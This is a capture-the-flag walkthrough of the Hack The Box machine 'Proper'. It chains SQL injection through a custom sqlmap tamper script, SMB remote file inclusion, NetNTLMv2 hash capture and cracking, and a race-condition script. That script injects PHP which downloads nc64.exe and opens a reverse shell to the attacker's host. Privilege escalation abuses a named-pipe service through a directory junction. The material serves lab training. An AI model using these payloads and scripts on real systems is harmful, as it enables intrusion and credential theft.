Hack-The-Box-walkthrough[proper]

introduce

OS: Windows
Difficulty: Hard
Points: 40
Release: 13 Mar 2021
IP: 10.10.10.231

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.10.231
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Directory/File Enumeration

Let’s see what wfuzz and SecLists has to offer.

Licenses

I wonder what this is about?

In any case, let’s keep this in view first while we check out other
information.

usernames

I thought I saw some very interesting HTML IDs when I was looking at the
HTML source code.

1
<div role="tabpanel" class="tab-pane fade in active" id="dustin">

Doesn’t that look like a username? Wait, there’s more…

1
2
3
4
5
<div role="tabpanel" class="tab-pane fade" id="daksh">

<div role="tabpanel" class="tab-pane fade" id="anna">

<div role="tabpanel" class="tab-pane fade" id="wafer">

And this…

1
2
3
4
5
6
7
<script type="text/javascript">
$(document).ready(function(){
'use strict';
jQuery('#headerwrap').backstretch([ "assets/img/bg/bg1.jpg", "assets/img/bg/bg3.jpg" ], {duration: 8000, fade: 500});
$( "#product-content" ).load("/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b",function() {});
});
</script>

Salt

Interestingly, if either parameter (order or h) from the above relative URL is
missing, I get the following, what looks like an error message.

From the message, a salt of some kind is exposed. I wonder where does the
salt fit in?

John the Ripper

Could the MD5 hash a1b30d31d344a5a4e41e8496ccbdd26b be the MD5
digest of the salt combined in some way with the value in the order
parameter? To confirm I came up with the following wordlist, in
combination with John the Ripper.

1
2
3
id+desc
id%20desc
id desc

These are the dynamic formats in JtR involving MD5.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# john --list=subformats | grep md5
Format = dynamic_0 type = dynamic_0: md5($p) (raw-md5)
Format = dynamic_1 type = dynamic_1: md5($p.$s) (joomla)
Format = dynamic_2 type = dynamic_2: md5(md5($p)) (e107)
Format = dynamic_3 type = dynamic_3: md5(md5(md5($p)))
Format = dynamic_4 type = dynamic_4: md5($s.$p) (OSC)
Format = dynamic_5 type = dynamic_5: md5($s.$p.$s)
Format = dynamic_6 type = dynamic_6: md5(md5($p).$s)
Format = dynamic_8 type = dynamic_8: md5(md5($s).$p)
Format = dynamic_9 type = dynamic_9: md5($s.md5($p))
Format = dynamic_10 type = dynamic_10: md5($s.md5($s.$p))
Format = dynamic_11 type = dynamic_11: md5($s.md5($p.$s))
Format = dynamic_12 type = dynamic_12: md5(md5($s).md5($p)) (IPB)
Format = dynamic_13 type = dynamic_13: md5(md5($p).md5($s))
Format = dynamic_14 type = dynamic_14: md5($s.md5($p).$s)
Format = dynamic_15 type = dynamic_15: md5($u.md5($p).$s)
Format = dynamic_16 type = dynamic_16: md5(md5(md5($p).$s).$s2)
Format = dynamic_18 type = dynamic_18: md5($s.Y.$p.0xF7.$s) (Post.Office MD5)
Format = dynamic_19 type = dynamic_19: md5($p) (Cisco PIX)
Format = dynamic_20 type = dynamic_20: md5($p.$s) (Cisco ASA)
Format = dynamic_22 type = dynamic_22: md5(sha1($p))
Format = dynamic_23 type = dynamic_23: sha1(md5($p))
Format = dynamic_29 type = dynamic_29: md5(utf16($p))
Format = dynamic_34 type = dynamic_34: md5(md4($p))
Format = dynamic_39 type = dynamic_39: md5($s.pad16($p)) (net-md5)
UserFormat = dynamic_1001 type = dynamic_1001: md5(md5(md5(md5($p))))
UserFormat = dynamic_1002 type = dynamic_1002: md5(md5(md5(md5(md5($p)))))
UserFormat = dynamic_1003 type = dynamic_1003: md5(md5($p).md5($p))
UserFormat = dynamic_1004 type = dynamic_1004: md5(md5(md5(md5(md5(md5($p))))))
UserFormat = dynamic_1005 type = dynamic_1005: md5(md5(md5(md5(md5(md5(md5($p)))))))
UserFormat = dynamic_1006 type = dynamic_1006: md5(md5(md5(md5(md5(md5(md5(md5($p))))))))
UserFormat = dynamic_1007 type = dynamic_1007: md5(md5($p).$s) (vBulletin)
UserFormat = dynamic_1008 type = dynamic_1008: md5($p.$s) (RADIUS User-Password)
UserFormat = dynamic_1009 type = dynamic_1009: md5($s.$p) (RADIUS Responses)
UserFormat = dynamic_1010 type = dynamic_1010: md5($p null_padded_to_len_100) RAdmin v2.x MD5
UserFormat = dynamic_1011 type = dynamic_1011: md5($p.md5($s)) (webEdition CMS)
UserFormat = dynamic_1012 type = dynamic_1012: md5($p.md5($s)) (webEdition CMS)
UserFormat = dynamic_1013 type = dynamic_1013: md5($p.PMD5(username)) (webEdition CMS)
UserFormat = dynamic_1014 type = dynamic_1014: md5($p.$s) (long salt)
UserFormat = dynamic_1015 type = dynamic_1015: md5(md5($p.$u).$s) (PostgreSQL 'pass the hash')
UserFormat = dynamic_1016 type = dynamic_1016: md5($p.$s) (long salt)
UserFormat = dynamic_1017 type = dynamic_1017: md5($s.$p) (long salt)
UserFormat = dynamic_1018 type = dynamic_1018: md5(sha1(sha1($p)))
UserFormat = dynamic_1019 type = dynamic_1019: md5(sha1(sha1(md5($p))))
UserFormat = dynamic_1020 type = dynamic_1020: md5(sha1(md5($p)))
UserFormat = dynamic_1021 type = dynamic_1021: md5(sha1(md5(sha1($p))))
UserFormat = dynamic_1022 type = dynamic_1022: md5(sha1(md5(sha1(md5($p)))))
UserFormat = dynamic_1024 type = dynamic_1024: sha1(md5($p)) (hash truncated to length 32)
UserFormat = dynamic_1025 type = dynamic_1025: sha1(md5(md5($p))) (hash truncated to length 32)
UserFormat = dynamic_1034 type = dynamic_1034: md5($p.$u) (PostgreSQL MD5)
UserFormat = dynamic_1300 type = dynamic_1300: md5(md5_raw($p))
UserFormat = dynamic_1350 type = dynamic_1350: md5(md5($s.$p):$s)
UserFormat = dynamic_1401 type = dynamic_1401: md5($u.\nskyper\n.$p) (Skype MD5)
UserFormat = dynamic_1505 type = dynamic_1505: md5($p.$s.md5($p.$s))
UserFormat = dynamic_1506 type = dynamic_1506: md5($u.:XDB:.$p) (Oracle 12c "H" hash)
UserFormat = dynamic_1518 type = dynamic_1518: md5(sha1($p).md5($p).sha1($p))
UserFormat = dynamic_1550 type = dynamic_1550: md5($u.:mongo:.$p) (MONGODB-CR system hash)
UserFormat = dynamic_1551 type = dynamic_1551: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash)
UserFormat = dynamic_1552 type = dynamic_1552: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash)
UserFormat = dynamic_1560 type = dynamic_1560: md5($s.$p.$s2) (SocialEngine)
UserFormat = dynamic_2000 type = dynamic_2000: md5($p) (PW > 55 bytes)
UserFormat = dynamic_2001 type = dynamic_2001: md5($p.$s) (joomla) (PW > 23 bytes)
UserFormat = dynamic_2002 type = dynamic_2002: md5(md5($p)) (e107) (PW > 55 bytes)
UserFormat = dynamic_2003 type = dynamic_2003: md5(md5(md5($p))) (PW > 55 bytes)
UserFormat = dynamic_2004 type = dynamic_2004: md5($s.$p) (OSC) (PW > 31 bytes)
UserFormat = dynamic_2005 type = dynamic_2005: md5($s.$p.$s) (PW > 31 bytes)
UserFormat = dynamic_2006 type = dynamic_2006: md5(md5($p).$s) (PW > 55 bytes)
UserFormat = dynamic_2008 type = dynamic_2008: md5(md5($s).$p) (PW > 23 bytes)
UserFormat = dynamic_2009 type = dynamic_2009: md5($s.md5($p)) (salt > 23 bytes)
UserFormat = dynamic_2010 type = dynamic_2010: md5($s.md5($s.$p)) (PW > 32 or salt > 23 bytes)
UserFormat = dynamic_2011 type = dynamic_2011: md5($s.md5($p.$s)) (PW > 32 or salt > 23 bytes)
UserFormat = dynamic_2014 type = dynamic_2014: md5($s.md5($p).$s) (PW > 55 or salt > 11 bytes)

For a start, I’m going with the dynamic format dynamic_1 (md5($p.$s)) and
dynamic_4 (md5($s.$p)). The only difference is that the salt $s is
appended for one, and prepended for the other.

The hash must be made available to JtR in the following format:
$

hash

1
a1b30d31d344a5a4e41e8496ccbdd26b$hie0shah6ooNoim
1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# john -w:subformats --format=dynamic_4 hash
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_4 [md5($s.$p) (OSC) 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 3 candidates left, minimum 48 needed for performance.
id desc (?)
1g 0:00:00:00 DONE (2021-05-08 05:27) 100.0g/s 300.0p/s 300.0c/s 300.0C/s id+desc..id desc
Use the "--show --format=dynamic_4" options to display all of the cracked passwords reliably
Session completed

So, the salt is prepended to the value in the order parameter. I see now…

Database Enumeration with sqlmap

To that end, I wrote the following sqlmap tamper script to enumerate the
database.

  • proper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python
import os
import string
from hashlib import md5
from urllib.parse import quote_plus
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def tamper(payload, **kwargs):
'''
Custom tamper script for Proper
'''

salt = b"hie0shah6ooNoim"
h = md5(salt + payload.encode()).hexdigest()
retVal = "%s&h=%s" % (quote_plus(payload), h)

return retVal

Because I’m tampering the payload and injecting it onto another parameter,
I need to use –skip-urlencode switch when detecting the injection
technique like so.

1
sqlmap -u "http://10.10.10.231/products-ajax.php?order=1" --batch --tamper=proper --skip-urlencode --threads=10 --flush-session

but here i am gona to use another sqlmap command

1
sqlmap -u "http://10.10.10.231/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b" --eval="import hashlib ; h=hashlib.md5(('hie0shah6ooNoim'+order).encode('utf-8')).hexdigest()"  --batch --threads=10 -D cleaner -T customers --dump

results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Database: cleaner                                                                                                                      
Table: customers
[29 entries]
+----+------------------------------+----------------------------------------------+----------------------+
| id | login | password | customer_name |
+----+------------------------------+----------------------------------------------+----------------------+
| 1 | vikki.solomon@throwaway.mail | 7c6a180b36896a0a8c02787eeafb0e4c (password1) | Vikki Solomon |
| 2 | nstone@trashbin.mail | 6cb75f652a9b52798eb6cf2201057c73 (password2) | Neave Stone |
| 3 | bmceachern7@discovery.moc | e10adc3949ba59abbe56e057f20f883e (123456) | Bertie McEachern |
| 4 | jkleiser8@google.com.xy | 827ccb0eea8a706c4c34a16891f84e7b (12345) | Jordana Kleiser |
| 5 | mchasemore9@sitemeter.moc | 25f9e794323b453885f5181f1b624d0b (123456789) | Mariellen Chasemore |
| 6 | gdornina@marriott.moc | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Gwyneth Dornin |
| 7 | itootellb@forbes.moc | f25a2fc72690b780b2a14e140ef6a9e0 (iloveyou) | Israel Tootell |
| 8 | kmanghamc@state.tx.su | 8afa847f50a716e64932d995c8e7435a (princess) | Karon Mangham |
| 9 | jblinded@bing.moc | fcea920f7412b5da7be0cf42b8c93759 (1234567) | Janifer Blinde |
| 10 | llenchenkoe@macromedia.moc | f806fc5a2a0d5ba2471600758452799c (rockyou) | Laurens Lenchenko |
| 11 | aaustinf@booking.moc | 25d55ad283aa400af464c76d713c07ad (12345678) | Andreana Austin |
| 12 | afeldmesserg@ameblo.pj | e99a18c428cb38d5f260853678922e03 (abc123) | Arnold Feldmesser |
| 13 | ahuntarh@seattletimes.moc | fc63f87c08d505264caba37514cd0cfd (nicole) | Adella Huntar |
| 14 | talelsandrovichi@tamu.ude | aa47f8215c6f30a0dcdb2a36a9f4168e (daniel) | Trudi Alelsandrovich |
| 15 | ishayj@dmoz.gro | 67881381dbc68d4761230131ae0008f7 (babygirl) | Ivy Shay |
| 16 | acallabyk@un.gro | d0763edaa9d9bd2a9516280e9044d885 (monkey) | Alys Callaby |
| 17 | daeryl@about.you | 061fba5bdfc076bb7362616668de87c8 (lovely) | Dorena Aery |
| 18 | aalekseicikm@skyrock.moc | aae039d6aa239cfc121357a825210fa3 (jessica) | Amble Alekseicik |
| 19 | lginmann@lycos.moc | c33367701511b4f6020ec61ded352059 (654321) | Lin Ginman |
| 20 | lgiorioo@ow.lic | 0acf4539a14b3aa27deeb4cbdf6e989f (michael) | Letty Giorio |
| 21 | lbyshp@wired.moc | adff44c5102fca279fce7559abf66fee (ashley) | Lazarus Bysh |
| 22 | bklewerq@yelp.moc | d8578edf8458ce06fbc5bb76a58c5ca4 (qwerty) | Bud Klewer |
| 23 | wstrettellr@senate.gov | 96e79218965eb72c92a549dd5a330112 (111111) | Woodrow Strettell |
| 24 | lodorans@kickstarter.moc | edbd0effac3fcc98e725920a512881e0 (iloveu) | Lila O Doran |
| 25 | bpfeffelt@artisteer.moc | 670b14728ad9902aecba32e22fa4f6bd (000000) | Bibbie Pfeffel |
| 26 | lgrimsdellu@abc.net.uvw | 2345f10bb948c5665ef91f6773b3e455 (michelle) | Luce Grimsdell |
| 27 | lpealingv@goo.goo | f78f2477e949bee2d12a2c540fb6084f (tigger) | Lyle Pealing |
| 28 | krussenw@mit.ude | 0571749e2ac330a7455809c6b0e7af90 (sunshine) | Kimmy Russen |
| 29 | meastmondx@businessweek.moc | c378985d629e99a4e86213db0cd5e70d (chocolate) | Meg Eastmond |
+----+------------------------------+----------------------------------------------+----------------------+

Licensing Portal

Using any of the credentials above should log you in the Licensing Portal.

I’m seeing something familiar in the HTML source code.

Suppose I put .. as the theme and generate the corresponding hash, this is what I get.

1
view-source:http://10.10.10.231/licenses/licenses.php?theme=..&h=a48e169864f4b46a09d36664ec645f75

Remote File Inclusion

It appears that the theme parameter is trying to read header.inc.
I wrote the following shell script to facilitate testing of the theme parameter
and the generation of the hash value in h, driven solely by curl.

  • read.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash

HOST=10.10.10.231
SALT=hie0shah6ooNoim
TRAV=$1
USER=vikki.solomon@throwaway.mail
PASS=password1
COOKIE=$(mktemp -u)
PROXY=127.0.0.1:8080

# login
curl -c $COOKIE -s -o /dev/null http://$HOST/licenses/index.php
curl -s \
-b $COOKIE \
-o /dev/null \
-d "username=${USER}&password=${PASS}" \
http://$HOST/licenses/index.php

# SMB RFI
curl -s \
-b $COOKIE \
-G \
-d "theme=${TRAV}" \
-d "h=$(echo -n ${SALT}${TRAV} | md5sum | cut -d' ' -f1)" \
-o /dev/null \
-x $PROXY \
http://$HOST/licenses/licenses.php

# clean up
rm -rf $COOKIE

Looks like the theme parameter may be susceptible to remote file inclusion
(RFI) vulnerability. Suppose we set up a Python http.server. Let’s see
what gives.

Ah, the http:// wrapper is disabled! Let’s try SMB, shall we?

1
2
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./read.sh '//10.10.14.2'

Let’s set up a fake SMB server with Impacket’s smbserver.py without any
credentials, and then request again to see what happens.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# python3 smbserver.py -ip 10.10.14.2 -smb2support evil .
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.231,49689)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:5ae080590082c04362bf224caec4846f:0101000000000000004bce0bf043d70166cff0cb19f10b00000000000100100041006a005500460050007400450075000300100041006a00550046005000740045007500020010006b007a00650061004e006d004f007300040010006b007a00650061004e006d004f00730007000800004bce0bf043d70106000400020000000800300030000000000000000000000000200000fc57632431f7c4e4274794844a744c0e6d27514eb5ddfad885de1bc2cb9a82d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Closing down connection (10.10.10.231,49689)
[*] Remaining connections []
[*] Incoming connection (10.10.10.231,49690)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:8a34397b657ec844eaf1090b53c3175e:010100000000000080e1660cf043d701bf19a63e3a35f7f6000000000100100041006a005500460050007400450075000300100041006a00550046005000740045007500020010006b007a00650061004e006d004f007300040010006b007a00650061004e006d004f0073000700080080e1660cf043d70106000400020000000800300030000000000000000000000000200000fc57632431f7c4e4274794844a744c0e6d27514eb5ddfad885de1bc2cb9a82d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Closing down connection (10.10.10.231,49690)
[*] Remaining connections []
[*] Incoming connection (10.10.10.231,49691)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:52a7d22c0c8c57c70a5c009f030d8c67:01010000000000000078ff0cf043d70196d5908af6592cf2000000000100100041006a005500460050007400450075000300100041006a00550046005000740045007500020010006b007a00650061004e006d004f007300040010006b007a00650061004e006d004f007300070008000078ff0cf043d70106000400020000000800300030000000000000000000000000200000fc57632431f7c4e4274794844a744c0e6d27514eb5ddfad885de1bc2cb9a82d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Closing down connection (10.10.10.231,49691)
[*] Remaining connections []

Heck, we have PROPER\web authenticating to us with a NetNTLMv2 hash,
which can be easily cracked with JtR shown below.

1
2
3
4
5
6
7
8
9
10
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# john -w:/usr/share/wordlists/rockyou.txt ntlmv2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
charlotte123! (web)
1g 0:00:00:00 DONE (2021-05-08 02:51) 1.470g/s 1457Kp/s 1457Kc/s 1457KC/s chibii..chaqueto
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

Now, we can set up smbserver.py with credentials and an empty
header.inc to simulate an actual SMB share.

1
python3 smbserver.py -username web -password 'charlotte123!' -ip 10.10.14.2 -smb2support evil .

Race Condition

If you look at the debug messages in green above, you’ll notice the race
condition vulnerability between strpos and include. Suppose we can
modify header.inc in real time, we may be able to get include to execute
our PHP code.

To that end, I wrote the following shell script to modify header.inc in real
time.

  • race.sh
1
2
3
4
5
6
7
#!/bin/bash
PAYLOAD=$1

while :; do
echo hello world > header.inc
echo "$PAYLOAD" > header.inc
done

Foothold

Once we have the ability to execute PHP code remotely, we can devise a
way to get a reverse shell. I’m going with transfering nc64.exe over to one
of the world-writable folders in Windows and run a reverse shell back to
me like so.

1
2
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./race.sh '<?php system("cmd /c powershell iwr http://10.10.14.2/nc64.exe -outf \windows\system32\spool\drivers\color\luci.exe"); ?>'
1
2
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./read.sh '//10.10.14.2/evil'
1
2
3
4
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.231 - - [08/May/2021 06:04:12] "GET /nc64.exe HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# python3 smbserver.py -username web -password 'charlotte123!' -ip 10.10.14.2 -smb2support evil .
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.231,49695)
[*] AUTHENTICATE_MESSAGE (PROPER\web,PROPER)
[*] User PROPER\web authenticated successfully
[*] web::PROPER:aaaaaaaaaaaaaaaa:9c5bcc7592dad9a6dba774008c3fbee4:010100000000000080f76974f143d701e6d79d4441e58a220000000001001000470055007500720077004100560056000300100047005500750072007700410056005600020010006e00530065004700490050004c007000040010006e00530065004700490050004c0070000700080080f76974f143d70106000400020000000800300030000000000000000000000000200000fc57632431f7c4e4274794844a744c0e6d27514eb5ddfad885de1bc2cb9a82d40a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0032000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:EVIL)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:EVIL)
[*] Closing down connection (10.10.10.231,49695)
[*] Remaining connections []

And then run the reverse shell with nc64.exe.

1
2
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./race.sh '<?php system("cmd /c start \windows\system32\spool\drivers\color\luci.exe 10.10.14.2 1234 -e cmd.exe"); ?>'
1
2
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# ./read.sh '//10.10.14.2/evil'

Voila!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root💀kali)-[~]
└─# nc -lvp 1234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.231.
Ncat: Connection from 10.10.10.231:49751.
Microsoft Windows [Version 10.0.17763.1728]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\licenses>whoami
whoami
proper\web

C:\inetpub\wwwroot\licenses>cd \users\web\desktop
cd \users\web\desktop

C:\Users\web\Desktop>type user.txt
type user.txt
3344dc2e5316dd94b0547eb967a1a1ea

Privilege Escalation

During enumeration of web’s account, I notice the presence of Cleanup
folder in C:\Program Files and in it, three files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Program Files\Cleanup>dir
dir
Volume in drive C has no label.
Volume Serial Number is FE0C-A36B

Directory of C:\Program Files\Cleanup

11/15/2020 05:05 AM <DIR> .
11/15/2020 05:05 AM <DIR> ..
11/15/2020 05:03 AM 2,999,808 client.exe
11/15/2020 10:22 AM 174 README.md
11/15/2020 06:20 AM 3,041,792 server.exe
3 File(s) 6,041,774 bytes
2 Dir(s) 7,343,374,336 bytes free

There’s also a Cleanup folder in C:\ProgramData with no files in it.

Reversing client.exe and server.exe

Turns out both binaries are PE executables built with Golang, with the tell-
tale sign of an unusually large size for a PE executable and this.

Analysis of client.exe

Reverse engineering of client.exe shows the need to supply an argument
in order to “make it do something”.

You can see from above that by supplying a -R and a file path triggers the
main_serviceRestore function which in turn calls upon a named pipe
client to connect to a named pipe, cleanupPipe.

Further down the control flow graph, this is what’s actually sent across the
named pipe.

Analysis of server.exe

Suppose we replicate the behaviors of client.exe and server.exe in a
Windows 10 installation. This is what we have determined above.

This is what’s displayed in server.exe.

Hmm, where have I seen C:\ProgramData\Cleanup before? By the way,
dGVzdA== is the base64-encoded string of test. On top of that, this is
evidence that a named pipe, cleanupPipe is listening for data.

We can send our own data to server.exe with good ol’ command prompt
using the echo command like so.

Meanwhile in server.exe, I see this…

Something’s not right. One character is truncated. In any case, all I have to
do is to add one more character behind the path. Well, this is what
happened. CLEAN removes the file specified in the file path and move it to
C:\ProgramData\Cleanup<base64-encoded file path> and its content
encrypted with AES-GCM.

Conversely, RESTORE restores the file back to the original file path by
decrypting the file contents and decoding the file path.

Getting root.txt

This gives me an idea. What if we create a symbolic link to C:\Users
\Administrator\Desktop, do a CLEAN on that symbolic link + root.txt.
This will back up the file at C:\ProgramData\Cleanup. Remove the link and
create a real folder and then do a RESTORE. Maybe RESTORE will do us a
favor and write the contents of root.txt to that folder and we can simply
read the file?

Create directory junction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\web\Downloads>mklink /j dipshit \users\administrator\desktop
mklink /j dipshit \users\administrator\desktop
Junction created for dipshit <<===>> \users\administrator\desktop

C:\Users\web\Downloads>dir
dir
Volume in drive C has no label.
Volume Serial Number is FE0C-A36B

Directory of C:\Users\web\Downloads

05/08/2021 02:52 AM <DIR> .
05/08/2021 02:52 AM <DIR> ..
05/08/2021 02:52 AM <JUNCTION> dipshit [C:\users\administrator\desktop]
0 File(s) 0 bytes
3 Dir(s) 7,342,006,272 bytes free

CLEAN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\web\Downloads>echo CLEAN \users\web\Downloads\dipshit\root.txtx > \\.\pipe\cleanupPipe
echo CLEAN \users\web\Downloads\dipshit\root.txtx > \\.\pipe\cleanupPipe

C:\Users\web\Downloads>dir \programdata\cleanup
dir \programdata\cleanup
Volume in drive C has no label.
Volume Serial Number is FE0C-A36B

Directory of C:\programdata\cleanup

05/08/2021 02:53 AM <DIR> .
05/08/2021 02:53 AM <DIR> ..
05/08/2021 02:53 AM 192 XHVzZXJzXHdlYlxEb3dubG9hZHNcZGlwc2hpdFxyb290LnR4dA==
1 File(s) 192 bytes
2 Dir(s) 7,342,006,272 bytes free

Remove directory junction and create a real folder

1
2
3
4
5
C:\Users\web\Downloads>rmdir dipshit
rmdir dipshit

C:\Users\web\Downloads>mkdir dipshit
mkdir dipshit

RESTORE

1
2
3
4
5
6
C:\Users\web\Downloads>echo RESTORE \users\web\Downloads\dipshit\root.txtx > \\.\pipe\cleanupPipe
echo RESTORE \users\web\Downloads\dipshit\root.txtx > \\.\pipe\cleanupPipe

C:\Users\web\Downloads>type dipshit\root.txt
type dipshit\root.txt
a8393e214a40d2e28d5eff5504022ca1

Afterthought

One of the creators of Proper told me that privilege escalation is possible
from an arbitrary file write. Indeed, WerTrigger is one such local privilege
escalation exploit weaponizing arbitrary file writes using Windows problem
reporting framework among others such as UsoDLLLoader and DiagHub.

And there you have it.

Summary of knowledge

  • John crack with salt
  • self write sqlmap tamper script to get data
  • Remote File Inclusion via SMB share
  • Race Condition to get code excecution
  • john crack netntlmv2 hash
  • Privilege Escalation via reversing .exe file
  • use WerTrigger for arbitrary file write using Windows problem reporting framework among others such as UsoDLLLoader and DiagHub.

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…